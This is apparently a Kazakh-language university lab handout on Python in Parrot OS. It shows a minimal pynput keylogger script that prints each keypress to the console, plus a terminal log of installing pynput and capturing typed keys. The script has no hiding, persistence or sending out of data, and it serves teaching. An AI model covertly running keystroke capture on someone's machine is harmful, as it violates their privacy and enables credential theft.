

Зертханалық сабақ №14

Тақырыбы: Parrot OS жүйесіндегі Python

1) Keylogger негізінде жұмыс жасау;

```
keylogger.py
#!/usr/bin/env python
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()
```

```
root@kali:~/PycharmProjects/keylogger# pip install pynput
Requirement already satisfied: pynput in /usr/local/lib/python2.7/dist-packages
Requirement already satisfied: enum34; python_version == "2.7" in /usr/lib/python2.7/dist-packages (from pynput)
Requirement already satisfied: python-xlib>=0.17; "linux" in sys_platform in /usr/local/lib/python2.7/dist-packages (from pynput)
Requirement already satisfied: six in /usr/local/lib/python2.7/dist-packages (from pynput)
root@kali:~/PycharmProjects/keylogger# python keylogger.py
u't'
u'h'
u'i'
u's'
Key.space
u'i'
u's'
Key.space
u'a'
Key.space
u't'
u'e'
[]
root@kali:~/PycharmProjects/keylogger# this is a te
```

Өзіндік жұмыс

1) ӨЗІНДІК тапсырма ұйымдастырыңыз.
